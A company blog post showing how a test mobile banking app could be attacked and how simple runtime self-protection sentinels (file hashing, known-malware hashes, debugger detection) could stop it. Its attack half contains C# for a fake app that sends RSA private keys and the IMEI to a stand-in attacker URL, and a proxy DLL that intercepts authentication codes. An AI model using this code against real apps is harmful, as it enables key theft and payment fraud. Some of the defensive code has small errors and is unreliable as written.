02Dec 2020

How RASP Can Prevent Attacks on Applications Effectively?

In the first part of runtime application self-promotion, we saw how to develop a test banking application. Now we will explain how an attacker could target that application and how RASP can help to prevent such attacks.

Attacks Against the Application

Attacks Against the Application

In our scenario – which is just a test scenario – the attacker will proceed as follows:

  • Debugging/Reversing the application. First, the attacker has no idea how the application works, therefore he must be able to understand at least some bits of its behavior to build an attack plan;
  • Getting the private key. Knowing the functioning of the application, the attacker will first need a way to retrieve the static private key K2;
  • Getting the symmetric key. Finally, the attacker needs a way to intercept the one-time symmetric key K1.
  • Sending fraudulent transaction orders. Equipped with all the information needed, the attacker can send fraudulent transaction orders to his own payment card.

Debugging/Reversing the Application

Here we will suppose that the attacker is able to attach a debugger to the process.

There are several ways this may happen. One is that the attacker can connect via USB or TCP/IP to the “debugging port” (ADB in android for example) of the target’s mobile phone. And other – much more common – is that the attacker downloads the application and runs it on an emulator so to debug it and reverse it.

A tool such as dnSpy is able to reverse almost immediately the program:

The attacker can easily debug the program.

Our attacker has no big pain to understand the behavior of the application, where are the private keys and how they are loaded.

Getting the Private Key

In our scenario, the attacker was able to understand most of the way the application works but cannot reverse the way it communicates with the third party DLL, the only one who can communicate to the authorization server. Besides, even if the attacker knows about the way the RSA keys are fetched, he has no way to access directly the ciphered file because they are loaded by the factory on the mobile phone itself.

For this, the attacker will create a small app that will offer some help for the users and additionally that application will locate the flat database where the ciphered private key is located and will extract it. Then it will decipher it using the static hardcoded Key encryption key which the attacker previously located in the application during the debug since it is hardcoded.

The fake app will allow users to search for cheap car rentals in a list of towns but in reality, it will decipher the private keys and send them to a remote server where they will be stored.

public Form1()
        {
            InitializeComponent();

           byte[] P = Utils.getRSAKey(keycomponent.P);
           byte[] Q = Utils.getRSAKey(keycomponent.Q);
           byte[] Exponent = Utils.getRSAKey(keycomponent.E);
           byte[] Modulus = Utils.getRSAKey(keycomponent.MODULUS);
           byte[] D = Utils.getRSAKey(keycomponent.D);
           byte[] InverseQ = Utils.getRSAKey(keycomponent.InverseQ);
           byte[] DP = Utils.getRSAKey(keycomponent.DP);
           byte[] DQ = Utils.getRSAKey(keycomponent.DQ);

           string url = @"https://attackerwebsite.com/registerto_db.aspx?IMEI="+Utils.getIMEI()+"&rsakeys=" + Utils.ByteArrayToString(P) + '#' + Utils.ByteArrayToString(Q) + '#' + Utils.ByteArrayToString(Exponent) + '#' + Utils.ByteArrayToString(Modulus) + '#' + Utils.ByteArrayToString(D);

           HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
         
           using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
           using (Stream stream = response.GetResponseStream())
           using (StreamReader reader = new StreamReader(stream))
           {
             String  html = reader.ReadToEnd();
           }
        }

Getting the Symmetric Key

After this analysis, the attacker understands that it cannot modify and recompile the application because it has no idea how to call the complex third party library the right way. Obviously this is a basic but efficient protection mechanism to prevent unauthorized caller to use the dll. Both caller and library must have a sort of counter in common which generates the same one-time code. 

The attacker does not know how to generate that parameter which the application sends to the hash library. He is also unable to reverse the third party library and the corresponding part of the caller code because it had been deeply obfuscated by the third-party vendor that delivered it and it seems to use sort of complex self-ciphering system.

However, it is not that much of a problem. All that the attacker needs to do is to create a “proxy dll” also known as “spy dll”. This technique is very well known and very easy to implement. Having a copy of the dll, the attacker can get its prototyping and create a stub dll with the same prototyping which will simply intercept the functions arguments and the return value without the caller noticing anything despite the dll security in place, therefore, defeating the protection mechanism.

Using the “spy Dll” technique, the attacker can get the symmetric key which corresponds to a username.

The attacker uses his small utility application to rename the legitimate dll and replace it by the stub ‘proxy’ dll and then he will intercept the right keys and send fake ones.

All the attacker has to do is to write these few lines of code:

namespace ProxyThirdPartyLib
{
    public class Class1
    {

        public long getAuthCode(string s1, String s2, int i1)
        {

    long code= testBankingApp2.ThirdPartyLib.getAuthCode(s1, s2, i1);

//Do something with that, send this to server with the IMEI number

            //wrong code for the user
            return code + 1;
        }
    }
}

The library of the attacker will use the legit library as a reference but will rename it and take its name in the same folder.

Sending Fraudulent Transaction Orders

Sending Fraudulent Transaction Orders

Finally, the attacker has the private key, the IMEI and can intercept the one-time DES keys before they are used. He can form transaction requests to the bank server placing fraudulent transactions to his own card or a card of his network of “cashiers”.

Developing the Concept Proof Sentinels

The sentinels, as we mentioned, will come in two distinct parts: the detector and reactor.

We will list here what our detectors must monitor:

  • Sentinel #1: Detect anomalies with the Integrity of several “critical” files;
  • Sentinel #2: Detect positive results when scanning files against a list of known fake apps;
  • Sentinel #3: Detect if a debugger is attached to some given process (namely the application to protect main process);
  • Sentinel #4: Detect if the other sentinels are up and running.

Of course, these checks are very basics and there are many more that would be checked and detected in a professional commercial security framework.

Reactors are listed here:

  • Reactor #1: Display a warning message;
  • Reactor #2: Crash the Mobile Application+Display a warning message;
  • Reactor #3: Prevent further use of the mobile phone by displaying a permanent full-screen error message and ask for a reboot.

The link between detectors and reactors is done via a ciphered configuration file which only the detectors can decipher. 

We shall use the following setting:

Sentinel#Reactor#
Sentinel #1Reactor#1
Sentinel #2Reactor#1
Sentinel #3Reactor#2
Sentinel #4Reactor#3

Our sentinels will scan for possible problems and shall repeat the scan, looping for a given amount of time.

Sentinel #1

Here is the complete source code of the first sentinel:

namespace Sentinels
{
    public class Sentinel1
    {


        public static string ByteArrayToString(byte[] ba)
        {
            StringBuilder hex = new StringBuilder(ba.Length * 2);
            foreach (byte b in ba)
                hex.AppendFormat("{0:x2}", b);
            return hex.ToString();
        }


        public static byte[] StringToByteArray(String hex)
        {
            int NumberChars = hex.Length;
            byte[] bytes = new byte[NumberChars / 2];
            for (int i = 0; i < NumberChars; i += 2)
                bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
            return bytes;
        }



        public static Dictionary<String, String> hashtabl = new Dictionary<string, string>();

        public static void LoadDB()
        {


            hashtabl.Add("StubTestBankServer.dll", "1b5a25cf00b963b93b8ad622bd30a945");
            hashtabl.Add("testBankingApp2.exe", "1d208cf0e66091b7cb1a53da639943f1");
            hashtabl.Add("ThirPartyLib.dll", "c777fbbaf51a3c3d12ec130f601094b1");


        }




     //scan files and look for integrity problems
     //detector
       public static void scan( TextBox txtbx)
        {

            DirectoryInfo d = new DirectoryInfo(@"\Program Files\testBankingApp2");
            FileInfo[] Files = d.GetFiles();
           
            foreach (FileInfo file in Files)
            {
               
                String hash1=getFileHash(file.FullName);

                txtbx.Text +=file.Name + "==>" + hash1 + "\r\n---------------\r\n";

                if (hashtabl.ContainsKey(file.Name))
                {

                    String hash2=hashtabl[file.Name];

                    if (!hash2.Equals(hash1))
                    {

                        //signal to reactor
                        react();
                    }

                }

            }

        }


       public static void react(String fn)
       {

           MessageBox.Show("File integrity problem, file possible corrupted or tampered:" + fn, "info", MessageBoxButtons.OK, MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);

       }

       public static String getFileHash(String filename)
        {

            using (var md5 = MD5.Create())
            {
                using (var stream = File.OpenRead(filename))
                {
                    return ByteArrayToString(md5.ComputeHash(stream));
                }
            }

        }

    }
}

The sentinel will scan on a periodic basis the application folder and detect problems with the file integrity.

Sentinel #2

The code is similar to Sentinel#1 but instead, the keys of the database are hashes.

public static void LoadDB()
        {


            hashtabl.Add("b6279cda55bb148a6b6e0045f4db4c64", "FakeApp find-my-car Trojan");
            


        }

The sentinel will scan the memory and check for the signature of known fake apps if so it will display a warning message with the name of the file and its potential malware identification.

//scan files and look for integrity problems
        //detector
        public static void scan(TextBox txtbx)
        {

            DirectoryInfo d = new DirectoryInfo(@"\Program Files\");

            DirectoryInfo[] d_ = d.GetDirectories();

            foreach (DirectoryInfo d2 in d_)
            {
            
            FileInfo[] Files = d2.GetFiles();

            foreach (FileInfo file in Files)
            {

                String hash1 = getFileHash(file.FullName);

                txtbx.Text += file.Name + "==>" + hash1 + "\r\n---------------\r\n";

                if (hashtabl.ContainsKey(hash1))
                {

                        //signal to reactor
                    react(file.FullName,hashtabl[hash1]);
                    
                }

            }

            }

        }

Sentinel #3

Our third sentinel will check if a debugger is attached, here is the full source code;

static class Sentinel3
    {



        [DllImport("core.dll", SetLastError = true)]
        static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

        public static void can(TextBox txtbx)
        {
            bool isDebuggerPresent = false;
            CheckRemoteDebuggerPresent(Process.GetCurrentProcess().MainWindowHandle, ref isDebuggerPresent);

            txtbx.Text+="Debugger Attached: " + isDebuggerPresent+"\r\n";

            if (isDebuggerPresent)
                react();

        }

        public static void react()
        {
            Process[] runningProcesses = Process.GetProcesses();

                foreach (Process process in runningProcesses)
                {
                    // now check the modules of the process
                    foreach (ProcessModule module in process.Modules)
                    {
                        if (module.FileName.Equals("testBankingApp2.exe"))
                        {
                            process.Kill();
                        } else 
                        {
                        // enter code here if process not found
                        }
                    }
                }

                MessageBox.Show("Debugger detected, application must stop", "info", MessageBoxButtons.OK, MessageBoxIcon.Hand, MessageBoxDefaultButton.Button1);

        }

    }

Sentinel #4

The last sentinel just checks for the three other sentinels and restart them if they are not running.

We will simply loop through the scan without creating a new thread for each sentinel.

private void button1_Click(object sender, EventArgs e)
        {

            Sentinel1.LoadDB();
            Sentinel2.LoadDB();
            
            for (int i = 0; i < 100; i++)
            {

                Sentinel1.scan(textBox1);
                Sentinel2.scan(textBox2);
                Sentinel3.scan(textBox3);
             //   Sentinel1.scan(textBox4);

                Thread.Sleep(1000);
                Application.DoEvents();
            }
        }

Some Conclusions

As we have seen in what was previously described, it is possible to develop a system of sentinels that will actively and aggressively react to threat detection.

Of course, our sentinels are extremely basic, they have no optimization and even do not run in undetected ways but they will stop the attacker to debug the application to reverse it, to inject a fake app and to modify the application files.

  • Cannot debug and reverse => attacker cannot understand the application;
  • Cannot inject a fake app => attacker cannot steal keys stored in the phone ;
  • Cannot modify the applicable third party dll => attacker cannot inject “spy” Dlls.

This illustrates concretely what technology based on active sentinels could bring in terms of security to the ecosystem of mobile banking and payment applications.

Acodez is a leading website design and software development company in India. We offer all kinds of web design and web development services to our clients using the latest technologies. We are also a leading digital marketing company providing SEO, SMM, SEM, Inbound marketing services, etc at affordable prices. For further information, please contact us.

Looking for a good team
for your next project?

Contact us and we'll give you a preliminary free consultation
on the web & mobile strategy that'd suit your needs best.

Contact Us Now!
Jamsheer K

Jamsheer K

Jamsheer K, is the Tech Lead at Acodez. With his rich and hands-on experience in various technologies, his writing normally comes from his research and experience in mobile & web application development niche.

Get a free quote!

Brief us your requirements & let's connect

Leave a Comment

Your email address will not be published. Required fields are marked *